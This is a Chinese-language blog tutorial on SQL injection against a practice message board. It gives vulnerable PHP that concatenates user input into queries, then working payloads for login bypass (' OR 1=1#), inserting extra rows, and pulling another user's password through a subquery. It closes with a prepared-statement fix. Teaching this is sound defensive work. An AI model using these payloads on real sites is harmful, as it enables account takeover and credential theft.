用 SQL Injection 來玩壞資料庫

很有趣!

簡述

SQL Injection 的攻擊原理就是把原本的 SQL 扭曲成別的意思。

要怎麼做到?就是添加「額外的 SQL」,讓原本 SQL 的意思改變(念起有點饒口,但就是這個意思)。

接下來用留言版來舉例會比較好懂一點。

範例一:登入別人的帳號

要改變 SQL 的意思就要先知道原本的 SQL 是怎麼寫的,所以來看一下登入的 SQL 片段:

1
2
3
4
5
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
?>

這裡的 SQL 意思是「從資料庫撈出 帳號=xxx密碼=xxx」的欄位。

現在我想把他改成「從資料庫撈出 帳號=xxx」的欄位,我可以思考怎麼用 $username$password 這兩個東西來達成(因為這是我可以輸入內容的地方)。

有沒有辦法讓 $username 後面的部分都變成註解?還真的有,就是 #。知道這個後就可以把 $username 填成這樣:

1
peanu'#

這時候 SQL 就會變成這樣:

1
SELECT * FROM users WHERE username='peanu'#' AND password='aaaaaaaa'

# 後面的內容都會當成註解,所以 password 想打啥就打啥)

接著就成功登入 peanu 的帳號了:

login-01

範例二:登入隨便一個人的帳號

範例一的延伸,其實你甚至可以把 $username 改成這樣子:

1
' OR 1=1#

意思是從資料庫撈出 帳號=空字串 OR 1=1 的欄位,因為 1=1 永遠代表 true,所以就會把所有的 user 都撈出來:

login-02

備註:這裡 cookie 存的值就是 ' OR 1=1;,所以當首頁用 cookie 去撈資料時就跟登入的邏輯一樣,直接撈出所有 user 的資料,並回傳第一欄的內容。

範例三:一次新增多筆留言

首先補充一個 SQL 的知識,你知道 INSERT INTOVALUE() 其實可以放多個值嗎?像這樣:

1
INSERT INTO comments(`nickname`, `content`) VALUES ('Grapes', 'oops'), ('hack', '水哦');

而我們在處理新增留言的時候是這樣拼接的:

1
2
3
<?php
$sql = "INSERT INTO comments(`nickname`, `content`) VALUES ('Grapes', '%s')";
?>

兩個比對一下,就會發現 %s 的內容可以這樣填:

1
oops'), ('hack', '水哦

two-comments

酷是蠻酷的,但這樣可以做什麼嗎?等一下再告訴你。

範例四:撈出某人的帳號密碼

再補充一個 SQL 知識,你知道 SQL 裡面可以在包另一個 SQL 嗎?像這樣:

1
2
INSERT INTO comments(`nickname`, `content`) 
VALUES ('peanu', (SELECT password FROM users WHERE id=113));

這種 SQL 叫做「subquery(子查詢)」。

然後這邊的意思是新增一個欄位到 comments。nickname 的內容是 peanucontent 的內容是 users 中 id=113 的 password 欄位。

所以一樣來玩拚字遊戲,首先來看原本的 SQL 邏輯:

1
2
3
<?php
$sql = "INSERT INTO comments(`nickname`, `content`) VALUES ('Grapes', '%s')";
?>

這邊要搭配範例三的邏輯,把要撈資料的 SQL 當成第二組 VALUES

1
2
3
4
抓到你囉'), (
(SELECT username FROM users WHERE id=113),
(SELECT password FROM users WHERE id=113)
)#

這時候的 SQL 長這樣:

1
2
3
4
5
INSERT INTO comments(`nickname`, `content`) 
VALUES ('Grapes', '抓到你囉'), (
(SELECT username FROM users WHERE id=113),
(SELECT password FROM users WHERE id=113)
)#')

get-info

掌握這種技巧後就跟 XSS 一樣,只要你夠有「創意」,資料庫就任你玩。

解決辦法

這邊會用 PHP 內建的 prepared-statement 來改寫。

它的概念就跟防 XSS 一樣,把 SQL 的參數部分都當轉成「純字串」來處理。雖然不是每個 SQL 都有被攻擊的風險性,但保險起見最好是把所有用到 SQL 的地方都做跳脫會比較好。

這邊簡單示範一下 prepared-statement 的用法:

1
2
3
4
5
6
7
8
9
10
11
// login.php
<?php
// 先準備好 sql,參數的部分改用 ? 這個 placeholder 來代替
$sql = "INSERT INTO comments(`nickname`, `content`) VALUES (?, ?)";
// 接著把 sql 指令丟到 prepare(),進入準備階段
$stmt = $conn->prepare($sql);
// 接著把值做綁定(綁定階段),'ss' 是代表兩個參數都是 string
$stmt->bind_param('ss', $nickname, $content);
// 到這邊才是真的執行 sql
$result = $stmt->execute();
?>

把所有 SQL 指令都改寫後就能避掉 SQL Injection 囉:

prevent

一些 google 的小技巧 從玩壞自己的網站來學習 XSS
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×